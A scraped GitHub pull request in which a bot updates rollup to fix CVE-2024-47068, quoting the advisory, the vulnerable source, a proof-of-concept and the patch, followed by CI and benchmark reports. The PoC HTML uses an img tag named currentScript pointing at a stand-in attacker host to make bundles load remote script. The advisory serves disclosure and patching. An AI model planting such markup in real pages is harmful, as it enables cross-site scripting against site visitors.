chore(deps): update dependency rollup to v4.22.4 [security] #5675

renovate · 2024-09-24T07:16:51Z

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
rollup (source)	`4.22.0` -> `4.22.4`

GitHub Vulnerability Alerts

CVE-2024-47068

Summary

A DOM Clobbering vulnerability was discovered in rollup when bundling scripts that use import.meta.url or with plugins that emit and reference asset files from code in cjs/umd/iife format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

It's worth noting that similar issues in other popular bundlers like Webpack (CVE-2024-43788) have been reported, which might serve as a good reference.

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadget found in `rollup`

A DOM Clobbering vulnerability in rollup bundled scripts was identified, particularly when the scripts uses import.meta and set output in format of cjs/umd/iife. In such cases, rollup replaces meta property with the URL retrieved from document.currentScript.

rollup/src/ast/nodes/MetaProperty.ts

Lines 157 to 162 in b86ffd7

    
           const getRelativeUrlFromDocument = (relativePath: string, umd = false) => 
        
           	getResolveUrl( 
        
           		`'${escapeId(relativePath)}', ${ 
        
           			umd ? `typeof document === 'undefined' ? location.href : ` : '' 
        
           		}document.currentScript && document.currentScript.src || document.baseURI` 
        
           	);

rollup/src/ast/nodes/MetaProperty.ts

Lines 180 to 185 in b86ffd7

    
           const getUrlFromDocument = (chunkId: string, umd = false) => 
        
           	`${ 
        
           		umd ? `typeof document === 'undefined' ? location.href : ` : '' 
        
           	}(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.src || new URL('${escapeId( 
        
           		chunkId 
        
           	)}', document.baseURI).href)`;

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element (e.g., an img tag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

PoC

Considering a website that contains the following main.js script, the devloper decides to use the rollup to bundle up the program: rollup main.js --format cjs --file bundle.js.

var s = document.createElement('script')
s.src = import.meta.url + 'extra.js'
document.head.append(s)

The output bundle.js is shown in the following code snippet.

'use strict';

var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;
var s = document.createElement('script');
s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && False && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js';
document.head.append(s);

Adding the rollup bundled script, bundle.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server due to the introduced gadget during bundling. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>rollup Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="bundle.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include rollup-bundled files (configured with an output format of cjs, iife, or umd and use import.meta) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch

Patching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.

const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
	getResolveUrl(
		`'${escapeId(relativePath)}', ${
			umd ? `typeof document === 'undefined' ? location.href : ` : ''
		}document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`
	);

const getUrlFromDocument = (chunkId: string, umd = false) =>
	`${
		umd ? `typeof document === 'undefined' ? location.href : ` : ''
	}(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.tagName.toUpperCase() === 'SCRIPT' &&${DOCUMENT_CURRENT_SCRIPT}.src || new URL('${escapeId(
		chunkId
	)}', document.baseURI).href)`;

Release Notes

rollup/rollup (rollup)

`v4.22.4`

Compare Source

2024-09-21

Bug Fixes

Fix a vulnerability in generated code that affects IIFE, UMD and CJS bundles when run in a browser context (#5671)

Pull Requests

#5670: refactor: Use object.prototype to check for reserved properties (@YuHyeonWook)
#5671: Fix DOM Clobbering CVE (@lukastaegert)

`v4.22.3`

Compare Source

2024-09-21

Bug Fixes

Ensure that mutations in modules without side effects are observed while properly handling transitive dependencies (#5669)

Pull Requests

#5669: Ensure impure dependencies of pure modules are added (@lukastaegert)

`v4.22.2`

Compare Source

2024-09-20

Bug Fixes

Revert fix for side effect free modules until other issues are investigated (#5667)

Pull Requests

#5667: Partially revert #5658 and re-apply #5644 (@lukastaegert)

`v4.22.1`

Compare Source

2024-09-20

Bug Fixes

Revert #5644 "stable chunk hashes" while issues are being investigated

Pull Requests

#5663: chore(deps): update dependency inquirer to v11 (@renovate[bot], @lukastaegert)
#5664: chore(deps): lock file maintenance minor/patch updates (@renovate[bot])
#5665: fix: type in CI file (@YuHyeonWook)
#5666: chore(deps): lock file maintenance minor/patch updates (@renovate[bot])

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

vercel · 2024-09-24T07:16:53Z

The latest updates on your projects. Learn more about Vercel for Git ↗︎

Name	Status	Preview	Comments	Updated (UTC)
rollup	✅ Ready (Inspect)	Visit Preview	💬 Add feedback	Sep 24, 2024 7:18am

github-actions · 2024-09-24T07:20:35Z

Thank you for your contribution! ❤️

You can try out this pull request locally by installing Rollup via

npm install rollup/rollup#renovate/npm-rollup-vulnerability

Notice: Ensure you have installed the latest stable Rust toolchain. If you haven't installed it yet, please see https://www.rust-lang.org/tools/install to learn how to download Rustup and install Rust.

or load it into the REPL:
https://rollup-ibhkk7wre-rollup-js.vercel.app/repl/?pr=5675

github-actions · 2024-09-24T07:24:06Z

Performance report!

Rough benchmark

Command	Mean [s]	Min [s]	Max [s]	Relative
`node _benchmark/previous/bin/rollup -i ./perf/entry.js -o _benchmark/result/previous.js`	9.910 ± 0.125	9.766	9.985	1.01 ± 0.01
`node _benchmark/current/bin/rollup -i ./perf/entry.js -o _benchmark/result/current.js`	9.808 ± 0.062	9.748	9.871	1.00

Internal benchmark

BUILD: 8754ms, 750 MB
- initialize: 0ms, 26.1 MB
- generate module graph: 3372ms, 574 MB
  - generate ast: 1600ms, 567 MB
- sort and bind modules: 476ms, 618 MB
- mark included statements: 4917ms, 750 MB
  - treeshaking pass 1: 1672ms, 716 MB
  - treeshaking pass 2: 808ms, 740 MB
  - treeshaking pass 3: 311ms, 746 MB
  - treeshaking pass 4: 290ms, 745 MB
  - treeshaking pass 5: 337ms, 749 MB
  - treeshaking pass 6: 278ms, 751 MB
  - treeshaking pass 7: 259ms, 751 MB
  - treeshaking pass 8: 251ms, 751 MB
  - treeshaking pass 9: 225ms, 755 MB
  - treeshaking pass 10: 229ms, 753 MB
  - treeshaking pass 11: 225ms, 750 MB
GENERATE: 947ms, 1.02 GB
- initialize render: 0ms, 914 MB
- generate chunks: 98ms, 923 MB
  - optimize chunks: 0ms, 916 MB
- render chunks: 833ms, 1000 MB
- transform chunks: 18ms, 1.02 GB
- generate bundle: 0ms, 1.02 GB

codecov · 2024-09-24T07:26:16Z

Codecov Report

All modified and coverable lines are covered by tests ✅

Project coverage is 99.39%. Comparing base (79c0aba) to head (9464216).
Report is 1 commits behind head on master.

Additional details and impacted files

@@           Coverage Diff           @@
##           master    #5675   +/-   ##
=======================================
  Coverage   99.39%   99.39%           
=======================================
  Files         242      242           
  Lines        9352     9352           
  Branches     2473     2473           
=======================================
  Hits         9295     9295           
  Misses         48       48           
  Partials        9        9

☔ View full report in Codecov by Sentry.
📢 Have feedback on the report? Share it here.

github-actions · 2024-09-27T11:48:57Z

This PR has been released as part of rollup@4.22.5. You can test it via npm install rollup.

chore(deps): update dependency rollup to v4.22.4 [security]

Verified

This commit was created on GitHub.com and signed with GitHub’s verified signature.

GPG key ID: B5690EEEBB952194

Verified
Learn about vigilant mode

Loading
Loading status checks…

9464216

renovate bot enabled auto-merge September 24, 2024 07:16

renovate-approve bot approved these changes Sep 24, 2024

View reviewed changes

vercel bot deployed to Preview September 24, 2024 07:18 View deployment

renovate bot added this pull request to the merge queue Sep 24, 2024

Merged via the queue into master with commit 89a68c2 Sep 24, 2024
39 checks passed

renovate bot deleted the renovate/npm-rollup-vulnerability branch September 24, 2024 07:35

b-maslennikov mentioned this pull request Sep 27, 2024

Dependency 'rollup' vulnerability: DOM Clobbering Gadget found in rollup bundled scripts that leads to XSS vite-pwa/vite-plugin-pwa#758

Closed

This was referenced Oct 19, 2024

[Snyk] Upgrade rollup from 3.29.5 to 4.22.5 leonardoadame/Affiliate-tech#985

Open

[Snyk] Upgrade rollup from 3.29.5 to 4.22.5 leonardoadame/Affiliate-tech#991

Open

[Snyk] Upgrade rollup from 3.29.5 to 4.24.0 leonardoadame/Affiliate-tech#998

Open

nerdy-tech-com-gitub mentioned this pull request Oct 24, 2024

[Snyk] Upgrade rollup from 4.22.4 to 4.24.0 nerdy-tech-com-gitub/node#2

Open

leonardoadame mentioned this pull request Oct 28, 2024

[Snyk] Upgrade rollup from 3.29.5 to 4.24.0 leonardoadame/Affiliate-tech#1008

Open

YashGovekar mentioned this pull request Oct 30, 2024

[Snyk] Upgrade rollup from 4.12.1 to 4.24.0 YashGovekar/Gove-Commerce#424

Open

FuhuXia mentioned this pull request Nov 2, 2024

[Snyk] Upgrade rollup from 4.22.4 to 4.24.0 GSA/datagov-harvester#105

Merged

leonardoadame mentioned this pull request Nov 2, 2024

[Snyk] Upgrade rollup from 3.29.5 to 4.24.0 leonardoadame/Affiliate-tech#1038

Open

YashGovekar mentioned this pull request Nov 6, 2024

[Snyk] Upgrade rollup from 4.12.1 to 4.24.0 YashGovekar/Gove-Commerce#427

Open

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

chore(deps): update dependency rollup to v4.22.4 [security] #5675

chore(deps): update dependency rollup to v4.22.4 [security] #5675

renovate bot commented Sep 24, 2024

vercel bot commented Sep 24, 2024 •

edited

Loading

github-actions bot commented Sep 24, 2024 •

edited

Loading

github-actions bot commented Sep 24, 2024

codecov bot commented Sep 24, 2024 •

edited

Loading

github-actions bot commented Sep 27, 2024

	const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
	getResolveUrl(
	`'${escapeId(relativePath)}', ${
	umd ? `typeof document === 'undefined' ? location.href : ` : ''
	}document.currentScript && document.currentScript.src \|\| document.baseURI`
	);

	const getUrlFromDocument = (chunkId: string, umd = false) =>
	`${
	umd ? `typeof document === 'undefined' ? location.href : ` : ''
	}(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.src \|\| new URL('${escapeId(
	chunkId
	)}', document.baseURI).href)`;

chore(deps): update dependency rollup to v4.22.4 [security] #5675

chore(deps): update dependency rollup to v4.22.4 [security] #5675

Conversation

renovate bot commented Sep 24, 2024

GitHub Vulnerability Alerts

CVE-2024-47068

Summary

Details

Backgrounds

Gadget found in rollup

PoC

Impact

Patch

Release Notes

v4.22.4

Bug Fixes

Pull Requests

v4.22.3

Bug Fixes

Pull Requests

v4.22.2

Bug Fixes

Pull Requests

v4.22.1

Bug Fixes

Pull Requests

Configuration

vercel bot commented Sep 24, 2024 • edited Loading

github-actions bot commented Sep 24, 2024 • edited Loading

Thank you for your contribution! ❤️

github-actions bot commented Sep 24, 2024

Performance report!

Rough benchmark

Internal benchmark

codecov bot commented Sep 24, 2024 • edited Loading

Codecov Report

github-actions bot commented Sep 27, 2024

Gadget found in `rollup`

`v4.22.4`

`v4.22.3`

`v4.22.2`

`v4.22.1`

vercel bot commented Sep 24, 2024 •

edited

Loading

github-actions bot commented Sep 24, 2024 •

edited

Loading

codecov bot commented Sep 24, 2024 •

edited

Loading